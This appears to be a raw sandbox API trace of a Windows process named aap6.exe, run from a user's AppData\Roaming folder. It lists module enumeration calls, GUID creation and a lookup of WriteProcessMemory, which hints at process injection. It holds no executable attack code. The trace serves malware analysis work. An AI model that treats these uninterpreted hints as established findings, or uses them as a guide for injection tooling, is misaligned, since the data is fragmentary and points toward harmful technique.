	[0116.452] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75a90000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0116.452] GetLastError () returned 0xcb
	[0116.452] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77670000, lpmodinfo=0x240f8c4, cb=0xc | out: lpmodinfo=0x240f8c4*(lpBaseOfDll=0x77670000, SizeOfImage=0xcc000, EntryPoint=0x7767168b)) returned 1
	[0116.452] GetLastError () returned 0xcb
	[0116.452] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77670000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0116.453] GetLastError () returned 0xcb
	[0116.453] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77670000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0116.453] GetLastError () returned 0xcb
	[0116.453] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6f050000, lpmodinfo=0x24109b8, cb=0xc | out: lpmodinfo=0x24109b8*(lpBaseOfDll=0x6f050000, SizeOfImage=0x5ab000, EntryPoint=0x6f0a3dc0)) returned 1
	[0116.454] GetLastError () returned 0xcb
	[0116.454] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6f050000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0116.454] GetLastError () returned 0xcb
	[0116.454] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6f050000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0116.455] GetLastError () returned 0xcb
	[0116.455] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74cb0000, lpmodinfo=0x2411af0, cb=0xc | out: lpmodinfo=0x2411af0*(lpBaseOfDll=0x74cb0000, SizeOfImage=0x9b000, EntryPoint=0x74cb232b)) returned 1
	[0116.455] GetLastError () returned 0xcb
	[0116.455] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74cb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0116.456] GetLastError () returned 0xcb
	[0116.456] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74cb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0116.456] GetLastError () returned 0xcb
	[0116.456] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76480000, lpmodinfo=0x2412c84, cb=0xc | out: lpmodinfo=0x2412c84*(lpBaseOfDll=0x76480000, SizeOfImage=0xc4a000, EntryPoint=0x76501601)) returned 1
	[0116.456] GetLastError () returned 0xcb
	[0116.457] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76480000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0116.457] GetLastError () returned 0xcb
	[0116.457] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76480000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0116.457] GetLastError () returned 0xcb
	[0116.458] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75be0000, lpmodinfo=0x2413d80, cb=0xc | out: lpmodinfo=0x2413d80*(lpBaseOfDll=0x75be0000, SizeOfImage=0x15c000, EntryPoint=0x75c2ba3d)) returned 1
	[0116.458] GetLastError () returned 0xcb
	[0116.458] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0116.460] GetLastError () returned 0xcb
	[0116.460] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0116.460] GetLastError () returned 0xcb
	[0116.460] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74590000, lpmodinfo=0x2414e74, cb=0xc | out: lpmodinfo=0x2414e74*(lpBaseOfDll=0x74590000, SizeOfImage=0xb000, EntryPoint=0x74591992)) returned 1
	[0116.461] GetLastError () returned 0xcb
	[0116.461] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74590000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0116.461] GetLastError () returned 0xcb
	[0116.461] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74590000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0116.462] GetLastError () returned 0xcb
	[0116.462] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6de00000, lpmodinfo=0x2415f70, cb=0xc | out: lpmodinfo=0x2415f70*(lpBaseOfDll=0x6de00000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0116.462] GetLastError () returned 0xcb
	[0116.462] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6de00000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0116.463] GetLastError () returned 0xcb
	[0116.463] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6de00000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0116.463] GetLastError () returned 0xcb
	[0116.463] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74ee0000, lpmodinfo=0x2417108, cb=0xc | out: lpmodinfo=0x2417108*(lpBaseOfDll=0x74ee0000, SizeOfImage=0x80000, EntryPoint=0x74ef37c9)) returned 1
	[0116.464] GetLastError () returned 0xcb
	[0116.464] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74ee0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0116.464] GetLastError () returned 0xcb
	[0116.464] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74ee0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0116.465] GetLastError () returned 0xcb
	[0116.465] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6fa10000, lpmodinfo=0x2418204, cb=0xc | out: lpmodinfo=0x2418204*(lpBaseOfDll=0x6fa10000, SizeOfImage=0x5b000, EntryPoint=0x6fa54d48)) returned 1
	[0116.465] GetLastError () returned 0xcb
	[0116.465] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6fa10000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0116.466] GetLastError () returned 0xcb
	[0116.466] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6fa10000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0116.466] GetLastError () returned 0xcb
	[0116.466] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6d660000, lpmodinfo=0x241933c, cb=0xc | out: lpmodinfo=0x241933c*(lpBaseOfDll=0x6d660000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0116.467] GetLastError () returned 0xcb
	[0116.467] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6d660000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0116.467] GetLastError () returned 0xcb
	[0116.468] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6d660000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0116.468] GetLastError () returned 0xcb
	[0116.468] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6bb40000, lpmodinfo=0x241a4c8, cb=0xc | out: lpmodinfo=0x241a4c8*(lpBaseOfDll=0x6bb40000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0116.469] GetLastError () returned 0xcb
	[0116.469] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6bb40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0116.469] GetLastError () returned 0xcb
	[0116.470] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6bb40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0116.470] GetLastError () returned 0xcb
	[0116.470] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77650000, lpmodinfo=0x241b6ac, cb=0xc | out: lpmodinfo=0x241b6ac*(lpBaseOfDll=0x77650000, SizeOfImage=0x5000, EntryPoint=0x77651438)) returned 1
	[0116.471] GetLastError () returned 0xcb
	[0116.471] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77650000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0116.471] GetLastError () returned 0xcb
	[0116.471] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77650000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0116.472] GetLastError () returned 0xcb
	[0116.472] CloseHandle (hObject=0x1ec) returned 1
	[0116.472] GetLastError () returned 0xcb
	[0116.479] CoCreateGuid (in: pguid=0x3ed4f4 | out: pguid=0x3ed4f4*(Data1=0x2225d96d, Data2=0x2ee5, Data3=0x4aa9, Data4=([0]=0xa5, [1]=0x1d, [2]=0xbe, [3]=0xaa, [4]=0xa5, [5]=0x90, [6]=0x65, [7]=0x49))) returned 0x0
	[0116.488] CoCreateGuid (in: pguid=0x3eda58 | out: pguid=0x3eda58*(Data1=0x90dc334d, Data2=0x6e1c, Data3=0x4058, Data4=([0]=0xaa, [1]=0x69, [2]=0x2a, [3]=0x5, [4]=0xf, [5]=0x2d, [6]=0x63, [7]=0x7d))) returned 0x0
	[0116.497] GetProcAddress (hModule=0x75fb0000, lpProcName="WriteProcessMemory") returned 0x75fdd9e0
	[0116.508] GetCurrentProcessId () returned 0x9f8
	[0116.508] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x1ec
	[0116.508] GetLastError () returned 0xcb
	[0116.508] EnumProcessModules (in: hProcess=0x1ec, lphModule=0x2427db8, cb=0x100, lpcbNeeded=0x3ee204 | out: lphModule=0x2427db8, lpcbNeeded=0x3ee204) returned 1
	[0116.508] GetLastError () returned 0xcb
	[0116.508] GetModuleInformation (in: hProcess=0x1ec, hModule=0x900000, lpmodinfo=0x2427ef8, cb=0xc | out: lpmodinfo=0x2427ef8*(lpBaseOfDll=0x900000, SizeOfImage=0x40000, EntryPoint=0x9380ce)) returned 1
	[0116.508] GetLastError () returned 0xcb
	[0116.508] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x900000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="aap6.exe") returned 0x8
	[0116.509] GetLastError () returned 0xcb
	[0116.509] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x900000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")) returned 0x2a
	[0116.509] GetLastError () returned 0xcb
	[0116.509] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77be0000, lpmodinfo=0x2429028, cb=0xc | out: lpmodinfo=0x2429028*(lpBaseOfDll=0x77be0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0116.509] GetLastError () returned 0xcb
	[0116.509] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0116.509] GetLastError () returned 0xcb
	[0116.509] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0116.509] GetLastError () returned 0xcb
	[0116.510] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74620000, lpmodinfo=0x242a11c, cb=0xc | out: lpmodinfo=0x242a11c*(lpBaseOfDll=0x74620000, SizeOfImage=0x4a000, EntryPoint=0x74622e54)) returned 1
	[0116.510] GetLastError () returned 0xcb
	[0116.510] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74620000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0116.510] GetLastError () returned 0xcb
	[0116.510] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74620000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0116.510] GetLastError () returned 0xcb
	[0116.510] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75fb0000, lpmodinfo=0x242b218, cb=0xc | out: lpmodinfo=0x242b218*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x110000, EntryPoint=0x75fc32d3)) returned 1
	[0116.510] GetLastError () returned 0xcb
	[0116.510] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75fb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0116.511] GetLastError () returned 0xcb
	[0116.511] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75fb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0116.511] GetLastError () returned 0xcb
	[0116.511] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75e80000, lpmodinfo=0x242c31c, cb=0xc | out: lpmodinfo=0x242c31c*(lpBaseOfDll=0x75e80000, SizeOfImage=0x46000, EntryPoint=0x75e87478)) returned 1
	[0116.511] GetLastError () returned 0xcb
	[0116.511] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75e80000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0116.511] GetLastError () returned 0xcb
	[0116.511] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75e80000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0116.512] GetLastError () returned 0xcb
	[0116.512] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77740000, lpmodinfo=0x242d458, cb=0xc | out: lpmodinfo=0x242d458*(lpBaseOfDll=0x77740000, SizeOfImage=0xa0000, EntryPoint=0x777549e5)) returned 1
	[0116.512] GetLastError () returned 0xcb
	[0116.512] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0116.512] GetLastError () returned 0xcb
	[0116.512] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0116.512] GetLastError () returned 0xcb
	[0116.512] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75dd0000, lpmodinfo=0x242e55c, cb=0xc | out: lpmodinfo=0x242e55c*(lpBaseOfDll=0x75dd0000, SizeOfImage=0xac000, EntryPoint=0x75dda472)) returned 1
	[0116.513] GetLastError () returned 0xcb
	[0116.513] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75dd0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0116.513] GetLastError () returned 0xcb
	[0116.513] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75dd0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0116.513] GetLastError () returned 0xcb
	[0116.513] GetModuleInformation (in: hProcess=0x1ec, hModule=0x759e0000, lpmodinfo=0x242f658, cb=0xc | out: lpmodinfo=0x242f658*(lpBaseOfDll=0x759e0000, SizeOfImage=0x19000, EntryPoint=0x759e4975)) returned 1
	[0116.514] GetLastError () returned 0xcb
	[0116.514] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x759e0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0116.514] GetLastError () returned 0xcb
	[0116.514] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x759e0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0116.514] GetLastError () returned 0xcb
	[0116.514] GetModuleInformation (in: hProcess=0x1ec, hModule=0x770d0000, lpmodinfo=0x2430754, cb=0xc | out: lpmodinfo=0x2430754*(lpBaseOfDll=0x770d0000, SizeOfImage=0xf0000, EntryPoint=0x770e0569)) returned 1
	[0116.514] GetLastError () returned 0xcb
	[0116.514] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x770d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0116.515] GetLastError () returned 0xcb
	[0116.515] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x770d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0116.515] GetLastError () returned 0xcb
	[0116.515] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75740000, lpmodinfo=0x24318a0, cb=0xc | out: lpmodinfo=0x24318a0*(lpBaseOfDll=0x75740000, SizeOfImage=0x60000, EntryPoint=0x7575a3b3)) returned 1
	[0116.515] GetLastError () returned 0xcb
	[0116.515] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0116.516] GetLastError () returned 0xcb
	[0116.516] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0116.516] GetLastError () returned 0xcb
	[0116.516] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75730000, lpmodinfo=0x243299c, cb=0xc | out: lpmodinfo=0x243299c*(lpBaseOfDll=0x75730000, SizeOfImage=0xc000, EntryPoint=0x757310e1)) returned 1
	[0116.517] GetLastError () returned 0xcb
	[0116.517] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75730000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0116.517] GetLastError () returned 0xcb
	[0116.517] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75730000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0116.517] GetLastError () returned 0xcb
	[0116.517] GetModuleInformation (in: hProcess=0x1ec, hModule=0x745a0000, lpmodinfo=0x2433aa0, cb=0xc | out: lpmodinfo=0x2433aa0*(lpBaseOfDll=0x745a0000, SizeOfImage=0x7a000, EntryPoint=0x745a1f48)) returned 1
	[0116.518] GetLastError () returned 0xcb
	[0116.518] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x745a0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0116.518] GetLastError () returned 0xcb
	[0116.518] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x745a0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0116.518] GetLastError () returned 0xcb
	[0116.518] GetModuleInformation (in: hProcess=0x1ec, hModule=0x773c0000, lpmodinfo=0x2434bd8, cb=0xc | out: lpmodinfo=0x2434bd8*(lpBaseOfDll=0x773c0000, SizeOfImage=0x57000, EntryPoint=0x773d9ba6)) returned 1
	[0116.519] GetLastError () returned 0xcb
	[0116.519] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x773c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0116.519] GetLastError () returned 0xcb
	[0116.519] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x773c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0116.519] GetLastError () returned 0xcb
	[0116.519] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75d40000, lpmodinfo=0x2435cd4, cb=0xc | out: lpmodinfo=0x2435cd4*(lpBaseOfDll=0x75d40000, SizeOfImage=0x90000, EntryPoint=0x75d56343)) returned 1
	[0116.520] GetLastError () returned 0xcb
	[0116.520] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75d40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0116.520] GetLastError () returned 0xcb
	[0116.520] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75d40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0116.520] GetLastError () returned 0xcb
	[0116.520] GetModuleInformation (in: hProcess=0x1ec, hModule=0x771c0000, lpmodinfo=0x2436dc8, cb=0xc | out: lpmodinfo=0x2436dc8*(lpBaseOfDll=0x771c0000, SizeOfImage=0x100000, EntryPoint=0x771db6ed)) returned 1
	[0116.521] GetLastError () returned 0xcb
	[0116.521] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x771c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0116.521] GetLastError () returned 0xcb
	[0116.521] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x771c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0116.521] GetLastError () returned 0xcb
	[0116.522] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76380000, lpmodinfo=0x2437ec4, cb=0xc | out: lpmodinfo=0x2437ec4*(lpBaseOfDll=0x76380000, SizeOfImage=0xa000, EntryPoint=0x763836a0)) returned 1
	[0116.522] GetLastError () returned 0xcb
	[0116.522] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76380000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0116.522] GetLastError () returned 0xcb
	[0116.522] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76380000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0116.523] GetLastError () returned 0xcb
	[0116.523] GetModuleInformation (in: hProcess=0x1ec, hModule=0x757d0000, lpmodinfo=0x2438fb0, cb=0xc | out: lpmodinfo=0x2438fb0*(lpBaseOfDll=0x757d0000, SizeOfImage=0x9d000, EntryPoint=0x75803fd7)) returned 1
	[0116.523] GetLastError () returned 0xcb
	[0116.523] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x757d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0116.523] GetLastError () returned 0xcb
	[0116.524] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x757d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0116.524] GetLastError () returned 0xcb
	[0116.524] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75a90000, lpmodinfo=0x243a134, cb=0xc | out: lpmodinfo=0x243a134*(lpBaseOfDll=0x75a90000, SizeOfImage=0x60000, EntryPoint=0x75aa158f)) returned 1
	[0116.524] GetLastError () returned 0xcb
	[0116.524] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75a90000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0116.525] GetLastError () returned 0xcb
	[0116.525] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75a90000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0116.525] GetLastError () returned 0xcb
	[0116.525] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77670000, lpmodinfo=0x243b228, cb=0xc | out: lpmodinfo=0x243b228*(lpBaseOfDll=0x77670000, SizeOfImage=0xcc000, EntryPoint=0x7767168b)) returned 1
	[0116.526] GetLastError () returned 0xcb
	[0116.526] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77670000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0116.526] GetLastError () returned 0xcb
	[0116.526] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77670000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0116.526] GetLastError () returned 0xcb
	[0116.527] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6f050000, lpmodinfo=0x243c31c, cb=0xc | out: lpmodinfo=0x243c31c*(lpBaseOfDll=0x6f050000, SizeOfImage=0x5ab000, EntryPoint=0x6f0a3dc0)) returned 1
	[0116.527] GetLastError () returned 0xcb
	[0116.527] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6f050000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0116.527] GetLastError () returned 0xcb
	[0116.527] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6f050000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0116.528] GetLastError () returned 0xcb
	[0116.528] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74cb0000, lpmodinfo=0x243d454, cb=0xc | out: lpmodinfo=0x243d454*(lpBaseOfDll=0x74cb0000, SizeOfImage=0x9b000, EntryPoint=0x74cb232b)) returned 1
	[0116.528] GetLastError () returned 0xcb
	[0116.528] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74cb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0116.529] GetLastError () returned 0xcb
